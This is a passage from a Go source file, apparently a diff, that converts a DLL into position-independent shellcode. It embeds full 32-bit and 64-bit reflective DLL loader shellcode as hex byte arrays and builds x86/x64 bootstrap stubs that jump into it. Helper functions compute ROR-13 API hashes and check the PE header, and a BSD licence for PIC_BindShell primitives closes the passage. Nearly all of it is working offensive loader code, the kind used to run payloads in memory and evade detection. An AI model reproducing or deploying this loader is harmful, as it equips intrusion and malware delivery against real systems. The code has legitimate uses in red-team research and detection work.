0x2C, 0x31, 0xEB, 0x27, 0x66, 0x3B, 0x44, 0x24, 0x24, 0x75, 0x11, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x8B, 0xC5, 0xC1, 0xE8, 0x10, 0x66, 0x01, 0x04, 0x31, 0xEB, 0x0F, 0x66, 0x3B, 0xC2, 0x75, 0x0A, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x66, 0x01, 0x2C, 0x31, 0x03, 0xDA, 0x85, 0xFF, 0x75, 0xB1, 0x8B, 0x5C, 0x24, 0x18, 0x8B, 0x54, 0x24, 0x5C, 0x8B, 0x4C, 0x24, 0x14, 0x03, 0x11, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x85, 0x77, 0xFF, 0xFF, 0xFF, 0x8B, 0x7C, 0x24, 0x10, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0xB7, 0x00, 0x00, 0x00, 0x8B, 0x74, 0x24, 0x5C, 0x8D, 0x6F, 0x3C, 0x03, 0xE9, 0x48, 0x83, 0x7D, 0xEC, 0x00, 0x89, 0x44, 0x24, 0x24, 0x0F, 0x86, 0x94, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0x00, 0x33, 0xD2, 0x42, 0x8B, 0xC1, 0xC1, 0xE8, 0x1D, 0x23, 0xC2, 0x8B, 0xD1, 0xC1, 0xEA, 0x1E, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x85, 0xC0, 0x75, 0x18, 0x85, 0xD2, 0x75, 0x07, 0x6A, 0x08, 0x5E, 0x6A, 0x01, 0xEB, 0x05, 0x6A, 0x04, 0x5E, 0x6A, 0x02, 0x85, 0xC9, 0x58, 0x0F, 0x44, 0xF0, 0xEB, 0x2C, 0x85, 0xD2, 0x75, 0x17, 0x85, 0xC9, 0x75, 0x04, 0x6A, 0x10, 0xEB, 0x15, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x18, 0xBE, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x85, 0xC9, 0x75, 0x05, 0x6A, 0x20, 0x5E, 0xEB, 0x08, 0x6A, 0x40, 0x85, 0xC9, 0x58, 0x0F, 0x45, 0xF0, 0x8B, 0x4D, 0x00, 0x8B, 0xC6, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x81, 0xE1, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC6, 0x8B, 0xF0, 0x8D, 0x44, 0x24, 0x28, 0x50, 0x8B, 0x45, 0xE8, 0x56, 0xFF, 0x75, 0xEC, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x3C, 0x85, 0xC0, 0x0F, 0x84, 0xEC, 0xFC, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x24, 0x83, 0xC5, 0x28, 0x85, 0xC0, 0x0F, 0x85, 0x52, 0xFF, 0xFF, 0xFF, 0x8B, 0x77, 0x28, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0xFF, 0x03, 0xF3, 0xFF, 0x54, 0x24, 0x3C, 0x33, 0xC0, 0x40, 0x50, 0x50, 0x53, 0xFF, 0xD6, 0x83, 0x7C, 0x24, 0x60, 0x00, 0x74, 0x7C, 0x83, 0x7F, 0x7C, 0x00, 0x74, 0x76, 0x8B, 0x4F, 0x78, 0x03, 0xCB, 0x8B, 0x41, 0x18, 0x85, 0xC0, 0x74, 0x6A, 0x83, 0x79, 0x14, 0x00, 0x74, 0x64, 0x8B, 0x69, 0x20, 0x8B, 0x79, 0x24, 0x03, 0xEB, 0x83, 0x64, 0x24, 0x5C, 0x00, 0x03, 0xFB, 0x85, 0xC0, 0x74, 0x51, 0x8B, 0x75, 0x00, 0x03, 0xF3, 0x33, 0xD2, 0x0F, 0xBE, 0x06, 0xC1, 0xCA, 0x0D, 0x03, 0xD0, 0x46, 0x80, 0x7E, 0xFF, 0x00, 0x75, 0xF1, 0x39, 0x54, 0x24, 0x60, 0x74, 0x16, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC5, 0x04, 0x40, 0x83, 0xC7, 0x02, 0x89, 0x44, 0x24, 0x5C, 0x3B, 0x41, 0x18, 0x72, 0xD0, 0xEB, 0x1F, 0x0F, 0xB7, 0x17, 0x83, 0xFA, 0xFF, 0x74, 0x17, 0x8B, 0x41, 0x1C, 0xFF, 0x74, 0x24, 0x68, 0xFF, 0x74, 0x24, 0x68, 0x8D, 0x04, 0x90, 0x8B, 0x04, 0x18, 0x03, 0xC3, 0xFF, 0xD0, 0x59, 0x59, 0x8B, 0xC3, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x48, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33, 0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24, 0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56, 0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7, 0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB} + rdiShellcode64 := []byte{0x48, 0x8B, 0xC4, 0x44, 0x89, 0x48, 0x20, 0x4C, 0x89, 0x40, 0x18, 0x89, 0x50, 0x10, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x78, 0x83, 0x60, 0x08, 0x00, 0x48, 0x8B, 0xE9, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x44, 0x8B, 0xFA, 0x33, 0xDB, 0xE8, 0xA4, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x4C, 0x8B, 0xE8, 0xE8, 0x97, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x48, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x88, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x48, 0x8B, 0xF0, 0xE8, 0x7B, 0x04, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x48, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x6C, 0x04, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x8B, 0xE0, 0xE8, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x63, 0x7D, 0x3C, 0x4C, 0x8B, 0xD0, 0x48, 0x03, 0xFD, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0x2D, 0x04, 0x00, 0x00, 0xB8, 0x64, 0x86, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0x41, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x44, 0x84, 0x77, 0x38, 0x75, 0xE2, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x44, 0x8B, 0x4F, 0x38, 0x85, 0xC0, 0x74, 0x2C, 0x48, 0x8D, 0x57, 0x24, 0x44, 0x8B, 0xC0, 0x48, 0x03, 0xD1, 0x8B, 0x4A, 0x04, 0x85, 0xC9, 0x75, 0x07, 0x8B, 0x02, 0x49, 0x03, 0xC1, 0xEB, 0x04, 0x8B, 0x02, 0x03, 0xC1, 0x48, 0x3B, 0xC3, 0x48, 0x0F, 0x47, 0xD8, 0x48, 0x83, 0xC2, 0x28, 0x4D, 0x2B, 0xC6, 0x75, 0xDE, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0x41, 0xFF, 0xD2, 0x44, 0x8B, 0x44, 0x24, 0x3C, 0x44, 0x8B, 0x4F, 0x50, 0x41, 0x8D, 0x40, 0xFF, 0xF7, 0xD0, 0x41, 0x8D, 0x50, 0xFF, 0x41, 0x03, 0xD1, 0x49, 0x8D, 0x48, 0xFF, 0x48, 0x23, 0xD0, 0x48, 0x03, 0xCB, 0x49, 0x8D, 0x40, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x23, 0xC8, 0x48, 0x3B, 0xD1, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC9, 0x41, 0x8B, 0xD1, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8D, 0x49, 0x04, 0xFF, 0xD6, 0x44, 0x8B, 0x47, 0x54, 0x33, 0xD2, 0x48, 0x8B, 0xF0, 0x4C, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0x44, 0x8D, 0x5A, 0x02, 0x4D, 0x85, 0xC0, 0x74, 0x3F, 0x44, 0x8B, 0x8C, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x45, 0x23, 0xCE, 0x4D, 0x2B, 0xC6, 0x45, 0x85, 0xC9, 0x74, 0x19, 0x48, 0x8B, 0xC7, 0x48, 0x2B, 0xC5, 0x48, 0x3B, 0xD0, 0x73, 0x0E, 0x48, 0x8D, 0x42, 0xC4, 0x49, 0x3B, 0xC3, 0x76, 0x05, 0xC6, 0x01, 0x00, 0xEB, 0x05, 0x41, 0x8A, 0x02, 0x88, 0x01, 0x49, 0x03, 0xD6, 0x4D, 0x03, 0xD6, 0x49, 0x03, 0xCE, 0x4D, 0x85, 0xC0, 0x75, 0xCC, 0x44, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x4D, 0x85, 0xD2, 0x74, 0x38, 0x48, 0x8D, 0x4F, 0x2C, 0x48, 0x03, 0xC8, 0x8B, 0x51, 0xF8, 0x4D, 0x2B, 0xD6, 0x44, 0x8B, 0x01, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x49, 0xFC, 0x4C, 0x03, 0xC5, 0x4D, 0x85, 0xC9, 0x74, 0x10, 0x41, 0x8A, 0x00, 0x4D, 0x03, 0xC6, 0x88, 0x02, 0x49, 0x03, 0xD6, 0x4D, 0x2B, 0xCE, 0x75, 0xF0, 0x48, 0x83, 0xC1, 0x28, 0x4D, 0x85, 0xD2, 0x75, 0xCF, 0x8B, 0x9F, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xDE, 0x8B, 0x43, 0x0C, 0x85, 0xC0, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x20, 0x8B, 0xC8, 0x48, 0x03, 0xCE, 0x41, 0xFF, 0xD5, 0x44, 0x8B, 0x3B, 0x4C, 0x8B, 0xE0, 0x44, 0x8B, 0x73, 0x10, 0x4C, 0x03, 0xFE, 0x4C, 0x03, 0xF6, 0xEB, 0x49, 0x49, 0x83, 0x3F, 0x00, 0x7D, 0x29, 0x49, 0x63, 0x44, 0x24, 0x3C, 0x41, 0x0F, 0xB7, 0x17, 0x42, 0x8B, 0x8C, 0x20, 0x88, 0x00, 0x00, 0x00, 0x42, 0x8B, 0x44, 0x21, 0x10, 0x42, 0x8B, 0x4C, 0x21, 0x1C, 0x48, 0x2B, 0xD0, 0x49, 0x03, 0xCC, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC4, 0xEB, 0x0F, 0x49, 0x8B, 0x16, 0x49, 0x8B, 0xCC, 0x48, 0x83, 0xC2, 0x02, 0x48, 0x03, 0xD6, 0xFF, 0xD5, 0x49, 0x89, 0x06, 0x49, 0x83, 0xC6, 0x08, 0x49, 0x83, 0xC7, 0x08, 0x49, 0x83, 0x3E, 0x00, 0x75, 0xB1, 0x8B, 0x43, 0x20, 0x48, 0x83, 0xC3, 0x14, 0x85, 0xC0, 0x75, 0x8C, 0x44, 0x8B, 0xBC, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x44, 0x8D, 0x70, 0x01, 0x4C, 0x8B, 0x64, 0x24, 0x28, 0x4C, 0x8B, 0xCE, 0x41, 0xBD, 0x02, 0x00, 0x00, 0x00, 0x4C, 0x2B, 0x4F, 0x30, 0x83, 0xBF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x95, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x0F, 0x84, 0x81, 0x00, 0x00, 0x00, 0xBB, 0xFF, 0x0F, 0x00, 0x00, 0x44, 0x8B, 0x02, 0x4C, 0x8D, 0x5A, 0x08, 0x44, 0x8B, 0xD0, 0x4C, 0x03, 0xC6, 0x49, 0x83, 0xEA, 0x08, 0x49, 0xD1, 0xEA, 0x74, 0x59, 0x41, 0x0F, 0xB7, 0x0B, 0x4D, 0x2B, 0xD6, 0x0F, 0xB7, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x4E, 0x01, 0x0C, 0x01, 0xEB, 0x34, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x46, 0x01, 0x0C, 0x01, 0xEB, 0x25, 0x66, 0x41, 0x3B, 0xC6, 0x75, 0x11, 0x48, 0x23, 0xCB, 0x49, 0x8B, 0xC1, 0x48, 0xC1, 0xE8, 0x10, 0x66, 0x42, 0x01, 0x04, 0x01, 0xEB, 0x0E, 0x66, 0x41, 0x3B, 0xC5, 0x75, 0x08, 0x48, 0x23, 0xCB, 0x66, 0x46, 0x01, 0x0C, 0x01, 0x4D, 0x03, 0xDD, 0x4D, 0x85, 0xD2, 0x75, 0xA7, 0x8B, 0x42, 0x04, 0x48, 0x03, 0xD0, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x75, 0x84, 0x0F, 0xB7, 0x6F, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x48, 0x85, 0xED, 0x0F, 0x84, 0xCF, 0x00, 0x00, 0x00, 0x8B, 0x9C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x77, 0x3C, 0x4C, 0x8B, 0x6C, 0x24, 0x30, 0x4C, 0x03, 0xF0, 0x48, 0xFF, 0xCD, 0x41, 0x83, 0x7E, 0xEC, 0x00, 0x0F, 0x86, 0x9D, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x06, 0x41, 0x8B, 0xD0, 0xC1, 0xEA, 0x1E, 0x41, 0x8B, 0xC0, 0x41, 0x8B, 0xC8, 0xC1, 0xE8, 0x1D, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x83, 0xE0, 0x01, 0x75, 0x1E, 0x85, 0xD2, 0x75, 0x0B, 0xF7, 0xD9, 0x1B, 0xDB, 0x83, 0xE3, 0x07, 0xFF, 0xC3, 0xEB, 0x3E, 0xF7, 0xD9, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x1B, 0xDB, 0x23, 0xD8, 0x03, 0xD8, 0xEB, 0x2F, 0x85, 0xD2, 0x75, 0x18, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x5A, 0x10, 0xEB, 0x22, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x1A, 0xBB, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x13, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x59, 0x20, 0xEB, 0x0A, 0x85, 0xC9, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x0F, 0x45, 0xD8, 0x41, 0x8B, 0x4E, 0xE8, 0x4C, 0x8D, 0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x56, 0xEC, 0x8B, 0xC3, 0x0F, 0xBA, 0xE8, 0x09, 0x41, 0x81, 0xE0, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC3, 0x48, 0x03, 0xCE, 0x44, 0x8B, 0xC0, 0x8B, 0xD8, 0x41, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x84, 0xA1, 0xFC, 0xFF, 0xFF, 0x49, 0x83, 0xC6, 0x28, 0x48, 0x85, 0xED, 0x0F, 0x85, 0x48, 0xFF, 0xFF, 0xFF, 0x44, 0x8D, 0x6D, 0x02, 0x8B, 0x5F, 0x28, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0x83, 0xC9, 0xFF, 0x48, 0x03, 0xDE, 0x41, 0xFF, 0xD4, 0xBD, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x8B, 0xD5, 0xFF, 0xD3, 0x45, 0x85, 0xFF, 0x0F, 0x84, 0x97, 0x00, 0x00, 0x00, 0x83, 0xBF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x97, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x5A, 0x18, 0x45, 0x85, 0xDB, 0x74, 0x78, 0x83, 0x7A, 0x14, 0x00, 0x74, 0x72, 0x44, 0x8B, 0x52, 0x20, 0x33, 0xDB, 0x44, 0x8B, 0x4A, 0x24, 0x4C, 0x03, 0xD6, 0x4C, 0x03, 0xCE, 0x45, 0x85, 0xDB, 0x74, 0x5D, 0x45, 0x8B, 0x02, 0x4C, 0x03, 0xC6, 0x33, 0xC9, 0x41, 0x0F, 0xBE, 0x00, 0x4C, 0x03, 0xC5, 0xC1, 0xC9, 0x0D, 0x03, 0xC8, 0x41, 0x80, 0x78, 0xFF, 0x00, 0x75, 0xED, 0x44, 0x3B, 0xF9, 0x74, 0x10, 0x03, 0xDD, 0x49, 0x83, 0xC2, 0x04, 0x4D, 0x03, 0xCD, 0x41, 0x3B, 0xDB, 0x72, 0xD2, 0xEB, 0x2D, 0x41, 0x0F, 0xB7, 0x01, 0x83, 0xF8, 0xFF, 0x74, 0x24, 0x8B, 0x52, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0xD0, 0x00, 0x00, 0x00, 0xC1, 0xE0, 0x02, 0x48, 0x98, 0x48, 0x03, 0xC6, 0x44, 0x8B, 0x04, 0x02, 0x8B, 0x94, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x4C, 0x03, 0xC6, 0x41, 0xFF, 0xD0, 0x48, 0x8B, 0xC6, 0x48, 0x83, 0xC4, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xB4, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C, 0x33, 0xD2, 0x4D, 0x8B, 0x09, 0xF3, 0x0F, 0x7F, 0x04, 0x24, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F, 0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x21, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0x0F, 0xBE, 0x01, 0xC1, 0xCA, 0x0D, 0x80, 0x39, 0x61, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48, 0xFF, 0xC1, 0x49, 0x83, 0xEB, 0x01, 0x75, 0xE7, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A, 0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x8F, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x49, 0x03, 0xD8, 0x48, 0x8D, 0x7F, 0x04, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3, 0x41, 0xC1, 0xCB, 0x0D, 0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74, 0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5B, 0xFF, 0xFF, 0xFF, 0x41, 0x8B, 0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x14, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0x49, 0x03, 0xC8, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F, 0xC3} + + var shellcodez []byte + + if is64BitDLL(dllBytes) { + bootstrapSize := 64 + + // call next instruction (Pushes next instruction address to stack) + bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00} + + // Set the offset to our DLL from pop result + dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode64) + + // pop rcx - Capture our current location in memory + bootstrap = append(bootstrap, 0x59) + + // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX + bootstrap = append(bootstrap, 0x49, 0x89, 0xc8) + + // add rcx, + bootstrap = append(bootstrap, 0x48, 0x81, 0xc1) + + bootstrap = append(bootstrap, pack(uint32(dllOffset))...) + + // mov edx, + bootstrap = append(bootstrap, 0xba) + bootstrap = append(bootstrap, functionHash...) + + // Setup the location of our user data + // add r8, + + bootstrap = append(bootstrap, 0x49, 0x81, 0xc0) + userDataLocation := dllOffset + len(dllBytes) + bootstrap = append(bootstrap, pack(uint32(userDataLocation))...) + + // mov r9d, + bootstrap = append(bootstrap, 0x41, 0xb9) + bootstrap = append(bootstrap, pack(uint32(len(userData)))...) + + // push rsi - save original value + bootstrap = append(bootstrap, 0x56) + + // mov rsi, rsp - store our current stack pointer for later + bootstrap = append(bootstrap, 0x48, 0x89, 0xe6) + + // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes + bootstrap = append(bootstrap, 0x48, 0x83, 0xe4, 0xf0) + + // sub rsp, 0x30 - Create some breathing room on the stack + bootstrap = append(bootstrap, 0x48, 0x83, 0xec) + bootstrap = append(bootstrap, 0x30) // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment + + // mov dword ptr [rsp + 0x20], - Push arg 5 just above shadow space + bootstrap = append(bootstrap, 0xC7, 0x44, 0x24) + bootstrap = append(bootstrap, 0x20) + bootstrap = append(bootstrap, pack(uint32(flags))...) + + // call - Transfer execution to the RDI + bootstrap = append(bootstrap, 0xe8) + bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions + bootstrap = append(bootstrap, 0x00, 0x00, 0x00) + + // mov rsp, rsi - Reset our original stack pointer + bootstrap = append(bootstrap, 0x48, 0x89, 0xf4) + + // pop rsi - Put things back where we left them + bootstrap = append(bootstrap, 0x5e) + + // ret - return to caller + bootstrap = append(bootstrap, 0xc3) + + shellcodez = append(bootstrap, rdiShellcode64...) + shellcodez = append(shellcodez, dllBytes...) + shellcodez = append(shellcodez, userData...) + + } else { + bootstrapSize := 45 + + // call next instruction (Pushes next instruction address to stack) + bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00} + + // Set the offset to our DLL from pop result + dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode32) + + // pop ecx - Capture our current location in memory + bootstrap = append(bootstrap, 0x58) + + // mov ebx, eax - copy our location in memory to ebx before we start modifying eax + bootstrap = append(bootstrap, 0x89, 0xc3) + + // add eax, + bootstrap = append(bootstrap, 0x05) + bootstrap = append(bootstrap, pack(uint32(dllOffset))...) + + // add ebx, + + bootstrap = append(bootstrap, 0x81, 0xc3) + userDataLocation := dllOffset + len(dllBytes) + bootstrap = append(bootstrap, pack(uint32(userDataLocation))...) + + // push + bootstrap = append(bootstrap, 0x68) + bootstrap = append(bootstrap, pack(uint32(flags))...) + + // push + bootstrap = append(bootstrap, 0x68) + bootstrap = append(bootstrap, pack(uint32(len(userData)))...) + + // push ebx + bootstrap = append(bootstrap, 0x53) + + // push + bootstrap = append(bootstrap, 0x68) + bootstrap = append(bootstrap, functionHash...) + + // push eax + bootstrap = append(bootstrap, 0x50) + + // call - Transfer execution to the RDI + bootstrap = append(bootstrap, 0xe8) + bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions + bootstrap = append(bootstrap, 0x00, 0x00, 0x00) + + // add esp, 0x14 - correct the stack pointer + bootstrap = append(bootstrap, 0x83, 0xc4, 0x14) + + // ret - return to caller + bootstrap = append(bootstrap, 0xc3) + + shellcodez = append(bootstrap, rdiShellcode32...) + shellcodez = append(shellcodez, dllBytes...) + shellcodez = append(shellcodez, userData...) + } + + return shellcodez, nil + +} + +// pack is a helper function similar to struct.pack from python3 +func pack(val uint32) []byte { + bytes := make([]byte, 4) + binary.LittleEndian.PutUint32(bytes, val) + return bytes +} + +// hashFunctionName creates a ROR-13 hash of the provided function name +func hashFunctionName(name string) uint32 { + function := []byte(name) + function = append(function, 0x00) + + functionHash := uint32(0) + + for _, b := range function { + functionHash = ror(functionHash, 13, 32) + functionHash += uint32(b) + } + + return functionHash +} + +// ROR-13 implementation +func ror(val uint32, rBits uint32, maxBits uint32) uint32 { + exp := uint32(math.Exp2(float64(maxBits))) - 1 + return ((val & exp) >> (rBits % maxBits)) | (val << (maxBits - (rBits % maxBits)) & exp) +} + +// is64BitDLL will look at the PE header of the provided file, as bytes, to determine if it is a 64bit application +func is64BitDLL(dllBytes []byte) bool { + machineIA64 := uint16(512) + machineAMD64 := uint16(34404) + + headerOffset := binary.LittleEndian.Uint32(dllBytes[60:64]) + machine := binary.LittleEndian.Uint16(dllBytes[headerOffset+4 : headerOffset+4+2]) + + // 64 bit + if machine == machineIA64 || machine == machineAMD64 { + return true + } + return false +} + +/* +*********************************************************************************************** +PIC_BindShell primitives and related works are released under the license below. +*********************************************************************************************** + +Copyright (c) 2013, Matthew Graeber +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + +Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 